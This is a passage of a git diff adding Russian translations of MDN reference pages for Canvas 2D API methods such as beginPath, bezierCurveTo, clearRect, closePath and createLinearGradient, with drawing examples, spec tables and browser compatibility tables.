diff --git a/files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html b/files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html
new file mode 100644
index 0000000000..2f6aa4c3e1
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html
@@ -0,0 +1,128 @@
+---
+title: CanvasRenderingContext2D.beginPath()
+slug: Web/API/CanvasRenderingContext2D/beginPath
+translation_of: Web/API/CanvasRenderingContext2D/beginPath
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D.beginPath()</strong></code> Canvas 2D API запускает новый путь, опуская список подпутей. Вызовите этот метод, когда хотите создать новый путь.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.beginPath();</var>
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_beginPath_метода">Использование <code>beginPath</code> метода</h3>
+
+<p>Это простой фрагмент кода, использующий <code>beginPath</code> метод.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5,12]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Первый путь
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20, 20);
+ctx.lineTo(200, 20);
+ctx.stroke();
+
+// Второй путь
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20, 20);
+ctx.lineTo(120, 120);
+ctx.stroke();
+</pre>
+
+<p>Отредактируйте код ниже чтобы увидеть изменения в canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:200px"&gt;
+// First path
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.stroke();
+
+// Second path
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20,20);
+ctx.lineTo(120, 120);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 460) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beginpath", "CanvasRenderingContext2D.beginPath")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.beginPath")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.closePath()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html
new file mode 100644
index 0000000000..209c19e523
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html
@@ -0,0 +1,193 @@
+---
+title: CanvasRenderingContext2D.bezierCurveTo()
+slug: Web/API/CanvasRenderingContext2D/bezierCurveTo
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/bezierCurveTo
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.bezierCurveTo()</code></strong>, предоставляемый Canvas 2D API, добавляет кубическую кривую Безье к контуру. Для построения требуются три точки. Первые две точки являются контрольными, а третья - конечной. Начальной точкой является последняя точка в текущем контуре, и она может быть изменена методом {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} перед созданием кривой Безье.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>cp1x</code></dt>
+ <dd>Координата первой контрольной точки по оси x.</dd>
+ <dt><code>cp1y</code></dt>
+ <dd>Координата первой контрольной точки по оси y.</dd>
+ <dt><code>cp2x</code></dt>
+ <dd>Координата второй контрольной точки по оси x.</dd>
+ <dt><code>cp2y</code></dt>
+ <dd>Координата второй контрольной точки по оси y.</dd>
+ <dt><code>x</code></dt>
+ <dd>Координата конечной точки по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата конечной точки по оси y.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_bezierCurveTo">Использование метода <code>bezierCurveTo</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, рисующий кривую Безье. <span style="color: red;">Контрольные точки нарисованы красным цветом</span>, а <span style="color: blue;">начальная и конечная точки - синим</span>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(50,20);
+ctx.bezierCurveTo(230, 30, 150, 60, 50, 100);
+ctx.stroke();
+
+ctx.fillStyle = 'blue';
+// начальная точка
+ctx.fillRect(50, 20, 10, 10);
+// конечная точка
+ctx.fillRect(50, 100, 10, 10);
+
+ctx.fillStyle = 'red';
+// первая контрольная точка
+ctx.fillRect(230, 30, 10, 10);
+// вторая контрольная точка
+ctx.fillRect(150, 70, 10, 10);</pre>
+
+<p>{{ EmbedLiveSample('Использование_метода_bezierCurveTo', 315, 165) }}</p>
+
+<h3 id="Практическое_применение_bezierCurveTo">Практическое применение <code>bezierCurveTo</code></h3>
+
+<p>Вы можете редактировать код, представленный ниже, и внесенные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.bezierCurveTo(50, 100, 180, 10, 20, 10);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Практическое_применение_bezierCurveTo', 700, 360) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beziercurveto", "CanvasRenderingContext2D.beziercurveto")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li><a href="https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%B2%D0%B0%D1%8F_%D0%91%D0%B5%D0%B7%D1%8C%D0%B5">Статья в Википедии про кривые Безье</a>.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/canvas/index.html b/files/ru/web/api/canvasrenderingcontext2d/canvas/index.html
new file mode 100644
index 0000000000..8d483e62a7
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/canvas/index.html
@@ -0,0 +1,66 @@
+---
+title: CanvasRenderingContext2D.canvas
+slug: Web/API/CanvasRenderingContext2D/canvas
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Property
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/canvas
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D.canvas</strong></code> является доступной только для чтения ссылкой на объект {{domxref("HTMLCanvasElement")}}, связанный с текущим контекстом. Может иметь значение {{jsxref("null")}}, если контекст не связан с элементом {{HTMLElement("canvas")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em></var>.canvas;</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Создадим элемент {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Вы можете получить ссылку на этот элемент из объекта <code>CanvasRenderingContext2D,</code> используя свойство <code>canvas</code>:</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.canvas // HTMLCanvasElement
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-canvas", "CanvasRenderingContext2D.canvas")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+
+<p>{{Compat("api.CanvasRenderingContext2D.canvas")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">Canvas API</a></li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html
new file mode 100644
index 0000000000..33e198ddec
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html
@@ -0,0 +1,187 @@
+---
+title: CanvasRenderingContext2D.clearRect()
+slug: Web/API/CanvasRenderingContext2D/clearRect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/clearRect
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong>, предоставляемый Canvas 2D API, устанавливает прозрачный черный цвет для всех пикселей, расположенных внутри прямоугольника, заданного начальной точкой <em>(x, y)</em> и размерами <em>(width, height)</em>, таким образом стирая любое ранее нарисованное содержимое.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.clearRect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси y.</dd>
+ <dt><code>width</code></dt>
+ <dd>Ширина прямоугольника.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота прямоугольника.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_clearRect">Использование метода <code>clearRect</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>clearRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[11]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // рисует последнюю линию треугольника
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);
+
+// очистить весь холст
+// ctx.clearRect(0, 0, canvas.width, canvas.height);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:140px;"&gt;
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // рисует последнюю линию треугольника
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearrect", "CanvasRenderingContext2D.clearRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html
new file mode 100644
index 0000000000..b061088116
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html
@@ -0,0 +1,114 @@
+---
+title: CanvasRenderingContext2D.closePath()
+slug: Web/API/CanvasRenderingContext2D/closePath
+tags:
+  - API
+  - Canvas
+  - Method
+translation_of: Web/API/CanvasRenderingContext2D/closePath
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.closePath()</code></strong> - метод из Canvas 2D API, добавляет в путь линию от текущей до первоначальной точки под пути и закрывает сам путь (давая возможность инициализировать новый). Если путь пустой или содержит одну точку, этот метод ничего не делает.</p>
+
+<p>Сама функция ничего не рисует. Он лишь позволяет отрисовывать путь таким методам, как {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}} и {{domxref("CanvasRenderingContext2D.fill()", "fill()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.closePath();
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Замкнутый_треугольник">Замкнутый треугольник</h3>
+
+<p>В этом примере создаются две первые линии  сторон треугольника с испоьзованием метода <code>lineTo()</code>. После чего метод <code>closePath()</code> заканчивает рисование треугольника, автоматически соединяя первую и последнюю точки фигуры (в данном случае треугольника).</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Точки треугольника находятся в координатах (20, 150), (120, 20),и (220, 150).</p>
+
+<pre class="brush: js; highlight:[8]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(20, 140);   // Двигает перо к нижнему левому углу
+ctx.lineTo(120, 10);   // Рисует линию к верхнему углу
+ctx.lineTo(220, 140);  // Рисует линию к нижнему правому углу
+ctx.closePath();       // Рисует линию к нижнему левому углу
+ctx.stroke();
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Closing_a_triangle', 700, 180) }}</p>
+
+<h3 id="Закрытие_пути_один_раз">Закрытие пути один раз</h3>
+
+<p>Этот пример рисует смайлик, состоящий из трех не соединенных дуг (под путей).</p>
+
+<div class="blockIndicator note">
+<p>Хотя <code>closePath()</code> вызывается после создания всех дуг, закрывается только последняя.</p>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>Первые две дуги создают глаза, последняя создает рот.</p>
+
+<pre class="brush: js; highlight:[10]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(240, 20, 40, 0, Math.PI);
+ctx.moveTo(100, 20);
+ctx.arc(60, 20, 40, 0, Math.PI);
+ctx.moveTo(215, 80);
+ctx.arc(150, 80, 65, 0, Math.PI);
+ctx.closePath();
+ctx.lineWidth = 6;
+ctx.stroke();
+</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{ EmbedLiveSample('Closing_just_one_sub-path', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-closepath", "CanvasRenderingContext2D.closePath")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.closePath")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий этот метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.beginPath()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html
new file mode 100644
index 0000000000..9337731350
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html
@@ -0,0 +1,119 @@
+---
+title: CanvasRenderingContext2D.createLinearGradient()
+slug: Web/API/CanvasRenderingContext2D/createLinearGradient
+tags:
+  - API
+  - Градиент
+  - Холст
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.createLinearGradient()</code></strong>, предоставляемый Canvas 2D API, создает градиент вдоль линии, соединенной двумя точками с заданными координатами.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14681/mdn-canvas-linearGradient.png" style="height: 121px; width: 264px;"></p>
+
+<p>Этот метод возвращает линейный {{domxref("CanvasGradient")}}. Для того, чтобы быть добавленным к фигуре, градиент должен быть задан свойством {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} или {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Координаты градиента глобальны, т.е. относятся к текущему пространству координат. При добавлении градиента, его координаты определяются НЕ относительно координат фигур.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">CanvasGradient <var>ctx</var>.createLinearGradient(<var>x0</var>, <var>y0</var>, <var>x1</var>, <var>y1</var>);
+</pre>
+
+<p>Метод <code>createLinearGradient()</code> принимает четыре аргумента для определения начала и конца точек линии градиента.</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x0</code></dt>
+ <dd>Координата по оси X начальной точки.</dd>
+ <dt><code>y0</code></dt>
+ <dd>Координата по оси Y начальной точки.</dd>
+ <dt><code>x1</code></dt>
+ <dd>Координата по оси X конечной точки.</dd>
+ <dt><code>y1</code></dt>
+ <dd>Координата по оси Y конечной точки.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dt>{{domxref("CanvasGradient")}}</dt>
+ <dd>Линейный <code>CanvasGradient</code>, определенный линией.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Заполнение_прямоугольника_с_линейным_градиентом">Заполнение прямоугольника с линейным градиентом</h3>
+
+<p>В примере создается и добавляется линейный градиент, используя метод <code>createLinearGradient()</code>. Градиент имеет три точки остановки цвета между созданными начальной и конечной точками линии.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[7] notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Создание линейного градиента
+// Точка начала линии градиента: x=20, y=0
+// Точка конца линии градиента: x=220, y=0
+var gradient = ctx.createLinearGradient(20,0, 220,0);
+
+// Добавление трёх контрольных точек
+gradient.addColorStop(0, 'green');
+gradient.addColorStop(.5, 'cyan');
+gradient.addColorStop(1, 'green');
+
+// Установка стиля заливки и отрисовка прямоугольника градиента
+ctx.fillStyle = gradient;
+ctx.fillRect(20, 20, 200, 100);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Заполнение_прямоугольника_с_линейным_градиентом', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createlineargradient", "CanvasRenderingContext2D.createLinearGradient")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.createLinearGradient")}}</p>
+
+<h3 id="Специфично_для_Gecko">Специфично для Gecko</h3>
+
+<ul>
+ <li>Начиная с Gecko 2.0 {{geckoRelease("2.0")}}, указание не конечных значений выбрасывает <code>NOT_SUPPORTED_ERR</code> вместо <code>SYNTAX_ERR</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html b/files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html
new file mode 100644
index 0000000000..0e13fcc970
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html
@@ -0,0 +1,90 @@
+---
+title: CanvasRenderingContext2D.currentTransform
+slug: Web/API/CanvasRenderingContext2D/currentTransform
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Experimental
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/currentTransform
+---
+<div>{{APIRef()}} {{SeeCompatTable}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.currentTransform</code></strong>, предоставляемое Canvas 2D API, возвращает или устанавливает объект {{domxref("SVGMatrix")}} для текущей матрицы преобразований.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>ctx.currentTransform [= value];</var>
+</pre>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Объект {{domxref("SVGMatrix")}}, который будет использован в роли текущей матрицы преобразований.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_currentTransform">Использование метода <code>currentTransform</code></h3>
+
